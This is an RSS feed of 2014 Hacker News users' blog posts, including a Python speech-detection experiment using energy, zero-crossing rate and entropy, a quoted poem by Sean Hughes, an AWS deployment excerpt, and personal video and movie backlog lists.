<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>Hacker News Personal Blogs 2014 | All Blog Posts</title><link>https://hn-blogs.kronis.dev/feed.xml</link><description>A collection of blog posts from users of Hacker News, based on RSS feeds.</description><language>en-US</language><lastBuildDate>Sat, 13 Jun 2026 04:03:20 GMT</lastBuildDate><generator>rfeed v1.1.1</generator><docs>https://github.com/svpino/rfeed/blob/master/README.md</docs><item><title>The journey continues - from Elastic Beanstalk to CodeDeploy</title><link>https://liza.io/the-journey-continues-from-elastic-beanstalk-to-codedeploy/</link><description>&lt;p&gt;A little while ago I wrote about deploying Gastropoda to an Amazon Web Services EC2 instance via Elastic Beanstalk. Since that day I have been running into multiple EB problems. I&amp;rsquo;m sure that if I took the time to learn I would figure out why these things were happening and how to fix them. Some problems included:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 31 Dec 2014 15:25:59 GMT</pubDate><guid isPermaLink="true">https://liza.io/the-journey-continues-from-elastic-beanstalk-to-codedeploy/</guid></item><item><title>2014 Year in Review</title><link>https://solomon.io/2014-year-in-review/</link><description>I’m Sam Solomon. You likely know me from the longform interviews I do with designers, writers and entrepreneurs.</description><author>Sam Solomon</author><pubDate>Wed, 31 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/2014-year-in-review/</guid></item><item><title>Death By Sean Hughes</title><link>https://ho.dges.online/words/commonplace/death-by-sean-hughes/</link><description>&lt;p&gt;I want to be cremated&lt;br /&gt;
I know how boring funerals can be&lt;br /&gt;
I want people to gather&lt;br /&gt;
meet new people&lt;br /&gt;
have a laugh, a dance, meet a loved one.&lt;br /&gt;
I want people to have free drink all night.&lt;br /&gt;
I want people to patch together, half truths.&lt;br /&gt;
I want people to contradict each other&lt;br /&gt;
I want them to say “I didn’t know him but cheers”&lt;br /&gt;
I want my parents there,&lt;br /&gt;
adding more pain to their life.&lt;br /&gt;
I want the Guardian to mis-sprint three lines about me&lt;br /&gt;
or to be mentioned on the news&lt;br /&gt;
Just before the “parrot who loves Brookside” story.&lt;br /&gt;
I want to have my ashes scattered in a bar,&lt;br /&gt;
on the floor, mingle with sawdust,&lt;br /&gt;
a bar where beautiful trendy people&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Wed, 31 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/death-by-sean-hughes/</guid></item><item><title>Simple experiments with speech detection</title><link>https://bastian.rieck.me/blog/2014/simple_experiments_speech_detection/</link><description>&lt;p&gt;One of my pet projects involves detecting &lt;em&gt;speech&lt;/em&gt; in audio signals. I am not interested in actual
&lt;em&gt;voice recognition&lt;/em&gt; but rather want to detect whether a signal is &lt;em&gt;probably&lt;/em&gt; a person speaking or
something else. Since this is a pet project and I have no knowledge of digital signal processing, I
wanted to discover things on my own. This posts contains my very preliminary results.&lt;/p&gt;
&lt;h1 id="processing-audio-signals-with-python"&gt;Processing audio signals with Python&lt;/h1&gt;
&lt;p&gt;For simplicity, I only tackle uncompressed &lt;code&gt;WAV&lt;/code&gt; files for now. &lt;a href="http://www.scipy.org"&gt;SciPy&lt;/a&gt; is my
friend here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data = scipy.io.wavfile.read( &amp;quot;Test.wav&amp;quot; )[1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;data&lt;/code&gt; now contains the amplitude information of the signal. To make any calculations on the signal
more robust, I chunk the signal without overlaps into portions of equal length, which I will refer
to as &lt;em&gt;frames&lt;/em&gt;. Each frame describes a short amount (say 10ms) of audio. This makes it possible to
calculate statistics per frame and obtain distributions of said statistics for the complete
recording. For proper signal processing, I should probably use some sort of windowing approach.&lt;/p&gt;
&lt;h1 id="time-domain-statistics"&gt;Time-domain statistics&lt;/h1&gt;
&lt;p&gt;For this post, I shall only use some features in the &lt;em&gt;time domain&lt;/em&gt; of the signal. I am well aware
that Fourier analysis exists, but my knowledge about these techniques is too sparse at the
moment—I know about high- and low-pass filters and the theory behind algorithms such as FFT,
but that&amp;rsquo;s about it.&lt;/p&gt;
&lt;p&gt;By browsing some books about audio analysis, I stumbled over some statistics that seemed worthwhile
(because they are easy to implement):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Short-term energy&lt;/li&gt;
&lt;li&gt;Zero-crossing rate&lt;/li&gt;
&lt;li&gt;Entropy of energy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I only have a cursory understanding of them (for now) so I hope that I got the terminology right.&lt;/p&gt;
&lt;h2 id="short-term-energy"&gt;Short-term energy&lt;/h2&gt;
&lt;p&gt;The short-term energy of a frame is defined as the sum of the squared absolute values of the
amplitudes, normalized by the frame length:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def shortTermEnergy(frame):
  return sum( [ abs(x)**2 for x in frame ] ) / len(frame)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="zero-crossing-rate"&gt;Zero-crossing rate&lt;/h2&gt;
&lt;p&gt;The zero-crossing rate counts how often the amplitude values of the frame change their sign. This
value is then normalized by the length of the frame:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def zeroCrossingRate(frame):
  signs             = numpy.sign(frame)
  signs[signs == 0] = -1

  return len(numpy.where(numpy.diff(signs))[0])/len(frame)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="entropy-of-energy"&gt;Entropy of energy&lt;/h2&gt;
&lt;p&gt;By further subdividing each frame into a set of sub-frames, we can calculate their respective
short-term energies and treat them as &lt;em&gt;probabilities&lt;/em&gt;, thus permitting us to calculate their
entropy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def chunks(l, k):
  for i in range(0, len(l), k):
    yield l[i:i+k]

def entropyOfEnergy(frame, numSubFrames):
  lenSubFrame = int(numpy.floor(len(frame) / numSubFrames))
  shortFrames = list(chunks(frame, lenSubFrame))
  energy      = [ shortTermEnergy(s) for s in shortFrames ]
  totalEnergy = sum(energy)
  energy      = [ e / totalEnergy for e in energy ]

  entropy = 0.0
  for e in energy:
    if e != 0:
      entropy = entropy - e * numpy.log2(e)

  return entropy
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="combining-everything"&gt;Combining everything&lt;/h1&gt;
&lt;p&gt;My brief literature survey suggested that these three statistics can be rather simply used to
determine speech. More precisely, we need to take a look at the following quantities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;em&gt;coefficient of variation&lt;/em&gt; of the short-term energy. Speech tends to have higher values here
than non-speech. Some experimentation with a few speech/music files shows that a threshold of
&lt;code&gt;1.0&lt;/code&gt; is OK for discriminating between both classes.&lt;/li&gt;
&lt;li&gt;The standard deviation of the zero-crossing rate. Again, speech tends to have higher values here.
A threshold of &lt;code&gt;0.05&lt;/code&gt; seems to work.&lt;/li&gt;
&lt;li&gt;The minimum entropy of energy. This is where speech usually has &lt;em&gt;lower&lt;/em&gt; values than music. Also,
different genres of music seem to exhibit different distributions here—this seems pretty
cool to me. Here, I used a threshold of &lt;code&gt;2.5&lt;/code&gt; to decide whether an audio file contains speech.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is in no way backed by anything other than me trying and fiddling with some audio files.  I
hope this is interesting and useful to someone. I also hope that I will find the time to do more
with it! Thus, no special git repository for this one (at least for now), but rather the complete
source code. Enjoy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
#
# Released under the HOT-BEVERAGE-OF-MY-CHOICE LICENSE: Bastian Rieck wrote
# this script. As long you retain this notice, you can do whatever you want
# with it. If we meet some day, and you feel like it, you can buy me a hot
# beverage of my choice in return.

import numpy
import scipy.io.wavfile
import scipy.stats
import sys

def chunks(l, k):
  &amp;quot;&amp;quot;&amp;quot;
  Yields chunks of size k from a given list.
  &amp;quot;&amp;quot;&amp;quot;
  for i in range(0, len(l), k):
    yield l[i:i+k]

def shortTermEnergy(frame):
  &amp;quot;&amp;quot;&amp;quot;
  Calculates the short-term energy of an audio frame. The energy value is
  normalized using the length of the frame to make it independent of said
  quantity.
  &amp;quot;&amp;quot;&amp;quot;
  return sum( [ abs(x)**2 for x in frame ] ) / len(frame)

def rateSampleByVariation(chunks):
  &amp;quot;&amp;quot;&amp;quot;
  Rates an audio sample using the coefficient of variation of its short-term
  energy.
  &amp;quot;&amp;quot;&amp;quot;
  energy = [ shortTermEnergy(chunk) for chunk in chunks ]
  return scipy.stats.variation(energy)

def zeroCrossingRate(frame):
  &amp;quot;&amp;quot;&amp;quot;
  Calculates the zero-crossing rate of an audio frame.
  &amp;quot;&amp;quot;&amp;quot;
  signs             = numpy.sign(frame)
  signs[signs == 0] = -1

  return len(numpy.where(numpy.diff(signs))[0])/len(frame)

def rateSampleByCrossingRate(chunks):
  &amp;quot;&amp;quot;&amp;quot;
  Rates an audio sample using the standard deviation of its zero-crossing rate.
  &amp;quot;&amp;quot;&amp;quot;
  zcr = [ zeroCrossingRate(chunk) for chunk in chunks ]
  return numpy.std(zcr)

def entropyOfEnergy(frame, numSubFrames):
  &amp;quot;&amp;quot;&amp;quot;
  Calculates the entropy of energy of an audio frame. For this, the frame is
  partitioned into a number of sub-frames.
  &amp;quot;&amp;quot;&amp;quot;
  lenSubFrame = int(numpy.floor(len(frame) / numSubFrames))
  shortFrames = list(chunks(frame, lenSubFrame))
  energy      = [ shortTermEnergy(s) for s in shortFrames ]
  totalEnergy = sum(energy)
  energy      = [ e / totalEnergy for e in energy ]

  entropy = 0.0
  for e in energy:
    if e != 0:
      entropy = entropy - e * numpy.log2(e)

  return entropy

def rateSampleByEntropy(chunks):
  &amp;quot;&amp;quot;&amp;quot;
  Rates an audio sample using its minimum entropy.
  &amp;quot;&amp;quot;&amp;quot;
  entropy = [ entropyOfEnergy(chunk, 20) for chunk in chunks ]
  return numpy.min(entropy)

#
# main
#

# Frame size in ms. Will use this quantity to collate the raw samples
# accordingly.
frameSizeInMs = 0.01

frequency          = 44100 # Frequency of the input data
numSamplesPerFrame = int(frequency * frameSizeInMs)

data        = scipy.io.wavfile.read( sys.argv[1] )
chunkedData = list(chunks(list(data[1]), numSamplesPerFrame))

variation = rateSampleByVariation(chunkedData)
zcr       = rateSampleByCrossingRate(chunkedData)
entropy   = rateSampleByEntropy(chunkedData)

print(&amp;quot;Coefficient of variation  = %f\n&amp;quot;
      &amp;quot;Standard deviation of ZCR = %f\n&amp;quot;
      &amp;quot;Minimum entropy           = %f&amp;quot; % (variation, zcr, entropy) )

if variation &amp;gt;= 1.0:
  print(&amp;quot;Coefficient of variation suggests that the sample contains speech&amp;quot;)

if zcr &amp;gt;= 0.05:
  print(&amp;quot;Standard deviation of ZCR suggests that the sample contains speech&amp;quot;)

if entropy &amp;lt; 2.5:
  print(&amp;quot;Minimum entropy suggests that the sample contains speech&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 30 Dec 2014 22:31:52 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/simple_experiments_speech_detection/</guid></item><item><title>Video backlog</title><link>https://xenodium.com/online-video-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=wBraurRo_bg"&gt;Frank Ostaseski: &amp;quot;Inviting the Wisdom of Death into Life&amp;quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=to72IJzQT5k&amp;amp;t=5s"&gt;Adam Curtis HyperNormalisation HD - YouTube&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=17210164"&gt;YouTube’s top creators are burning out (Hacker News)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/playlist?list=PL94E35692EB9D36F3"&gt;Donald Knuth Lectures - YouTube&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Rashomon by Akira Kurosawa.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://vimeo.com/97903574"&gt;Seeing spaces&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=HHYs78uIx3M"&gt;An exclusive seminar with Julian Assange&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=LrObZ_HZZUc"&gt;The (Secret) City of London, Part 1: History&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=z1ROpIKZe-c"&gt;The (Secret) City of London, Part 2: History&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=kXBJLH2xrBM"&gt;The UK Gold&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=Jio7DK15Q1E&amp;amp;feature=youtu.be"&gt;Terra Plana - Learning the skill of barefoot running&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=Zwx1PaWbD4U"&gt;The Science of Compassion ॐ Mata Amritanandamayi ॐ Documentary&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/playlist?list=PLZdCLR02grLrEwKaZv-5QbUzK0zGKOOcr"&gt;Rich Hickey Talks (clojure)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://egghead.io/lessons/javascript-redux-the-single-immutable-state-tree"&gt;Redux: The Single Immutable State Tree screencast&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://channel9.msdn.com/Shows/Going+Deep/Anders-Hejlsberg-and-Lars-Bak-TypeScript-JavaScript-and-Dart"&gt;Anders Hejlsberg and Lars Bak: TypeScript, JavaScript, and Dart&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.slowhustle.com/how-to-travel-the-slow-hustle-way-insights-from-50-episodes/"&gt;How To Travel… The Slow Hustle Way&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?time_continue%3D1&amp;amp;v%3DnUjgKoOYxos"&gt;2015-12-10 Emacs Chat - John Wiegley&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://emacsnyc.org/2015/03/02/how-i-use-org-capture-and-stuff.html"&gt;How To Order Salads From Inside Emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://emacsnyc.org/2014/04/07/an-introduction-to-emacs-lisp.html"&gt;An introduction to Emacs Lisp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://vimeo.com/139910837?ref%3Dtw-share"&gt;12 Challenging Steps to Being a Better Interviewer – Cate Huston at The Lead Developer 2015&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3D8o46HH-TfNY"&gt;Born Rich: Children Of The Insanely Wealthy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3DFtieBc3KptU&amp;amp;feature%3Dyoutu.be&amp;amp;a"&gt;Emacs for writers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3dbkdt9bfh5gs"&gt;Frugal fire 002: justin mccurry (rootofgood)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Graham Hancock – The War on Consciousness.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.nfb.ca/film/griefwalker?utm_content%3dbuffer24b02&amp;amp;utm_medium%3dsocial&amp;amp;utm_source%3dtwitter.com&amp;amp;utm_campaign%3dbuffer"&gt;Griefwalker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3DSwkjqGd8NC4"&gt;How to win the loser's game&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/playlist?list%3DPLBDA2E52FB1EF80C9"&gt;John Green's &amp;quot;Crash Course History&amp;quot; videos&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3DunX4FQqM6vI"&gt;Matthieu Ricard Leads a Meditation on Altruistic Love and Compassion&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3DjUlWDxhSlt8"&gt;Matthieu Ricard: &amp;quot;Altruism&amp;quot; | Talks at Google&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Nick Hanauer – Rich People Don’t Create Jobs.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3DcsyL9EC0S0c"&gt;Programming is terrible — Lessons learned from a life wasted&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Rupert Sheldrake – The Science of Delusion.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3DVXTpTRuPiPQ"&gt;Surya Namaskar stretches&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://audio-video.gnu.org/video/misc/2015-01__gnu_guix__the_emacs_of_distros.webm"&gt;The Emacs of distros&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v%3D17jymDn0W6U&amp;amp;sns%3Dem"&gt;The Known Universe by AMNH&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.youtube.com/watch?v=ttLgyKk7yMA"&gt;Juliet Schor Iris Nights: Re-Thinking Materialism&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://archive.org/details/The.Internets.Own.Boy.The.Story.of.Aaron.Swartz.2014.WEBRiP.XViD.AC3LEGi0N"&gt;The Internets own boy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.youtube.com/watch?v%3DFw8BV4VFOwM"&gt;BBC's secret of levitation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://vimeo.com/15351476"&gt;Hold Fast&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.youtube.com/watch?v=8crol-ydfmi"&gt;This is water, commencement speech&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.youtube.com/watch?v=dkyjvv7huzw"&gt;This is water&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 30 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/online-video-backlog</guid></item><item><title>Movie backlog</title><link>https://xenodium.com/movie-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/title/81748580"&gt;Watch The Åre Murders | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/title/81663325"&gt;Watch SAKAMOTO DAYS | Netflix Official Site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0089603/"&gt;Mishima: A Life in Four Chapters (1985) - IMDB&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt14039582/"&gt;Drive My Car (2021) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt6334354/"&gt;The Suicide Squad (2021) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://old.reddit.com/r/Cyberpunk/comments/1e5vauh/movies_that_feel_like_youre_watching_an/"&gt;Movies that feel like you're watching an adaptation of the Cyberpunk RPG?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://x.com/davidcinema/status/1853817051040673997"&gt;Movies that get better with more viewings&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.reddit.com/r/movies/comments/1gvzbi1/zhang_yimou_chinas_greatest_director_part_2/"&gt;Zhang Yimou: China's Greatest Director | Part 2 &lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Take your pill.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://bsky.app/profile/jaafar.bsky.social/post/3ldfrkposdk22"&gt;A handful of choices, but Hundreds of Beavers caught my attention&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.metacritic.com"&gt;https://www.metacritic.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Chalk line.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://trace.moe/"&gt;Anime Scene Search Engine - trace.moe&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://poorlydrawnlines.com/"&gt;Poorly Drawn Lines&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.rottentomatoes.com/m/vhyes"&gt;VHYes (2019) - Rotten Tomatoes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.m.wikipedia.org/wiki/The_Sandman_(comic_book)"&gt;The Sandman (comic book) - Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://m.imdb.com/title/tt1751634/"&gt;The Sandman (TV Series 2021– ) - IMDb&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Korean &lt;a href="https://www.reddit.com/r/squidgame/comments/pwjyum/god_bless_squid_game"&gt;films/shows to watch&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Gemini man.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.rottentomatoes.com/m/tigertail"&gt;Tigertail (2020) - Rotten Tomatoes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.rottentomatoes.com/m/buffaloed"&gt;Buffaloed (2019) - Rotten Tomatoes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.rottentomatoes.com/m/12_hour_shift"&gt;12 Hour Shift (2020) - Rotten Tomatoes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/ddoniolvalcroze/status/1347367344239042563"&gt;What's your favorite Kurosawa film?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/81347666"&gt;Korean Pork Belly Rhapsody | Netflix&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/80202946"&gt;Back to Life | Netflix&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://editorial.rottentomatoes.com/guide/the-best-movies-of-2020/"&gt;The Best Movies of 2020 – Best New Films of the Year&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.amazon.co.uk/If-Something-Happens-Lauren-Nieuwland"&gt;if something happens&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://docs.google.com/spreadsheets/d/1TrLhiplUxXgqe0Cc7T4MdibZVKF4yeLZ1ptHzkz6d48/edit#gid=256281926"&gt;The Essentials Movie Recs - Google Sheets&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt1239426/"&gt;Hipsters (2008) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt1217565/"&gt;Den radio (2008) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0415481/"&gt;Alyosha Popovich i Tugarin Zmey (2004) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0062759/"&gt;Brilliantovaya ruka (1969) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0079944/"&gt;Stalker (1979) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0069293/"&gt;Solaris (1972) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt3689910/"&gt;Miss Hokusai (2015) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt2106476/"&gt;The Hunt (2012) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/video/vi3155205401"&gt;Attack the Block: Trailer #2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt6499752/"&gt;Upgrade (2018) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.rottentomatoes.com/m/the_way_back"&gt;The Way Back (2011) - Rotten Tomatoes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0488085/"&gt;Big Nothing (2006) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt2937898/"&gt;A Most Violent Year (2014) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt4364194/"&gt;The Peanut Butter Falcon (2019) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt1372301/"&gt;Technotise - Edit i ja (2009) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt1176416/"&gt;Tetsuo: The Bullet Man (2009) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/video/vi165218585"&gt;Sleep Dealer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0353014/"&gt;Sky Blue&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0338337/"&gt;Paycheck (2003) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0339579/"&gt;Returner (2002) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0284978/"&gt;Cypher (2002) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0091419/"&gt;The Little Shop of Horrors (1986) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.netflix.com/gb/title/81302258"&gt;To the Lake&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt0050613/"&gt;Throne of Blood (1957) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt9170108/"&gt;Raised by Wolves (TV Series 2020– ) - IMDb&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.imdb.com/title/tt1675434/"&gt;Untouchable (2011) - IMDb&lt;/a&gt;.&lt;/p&gt;
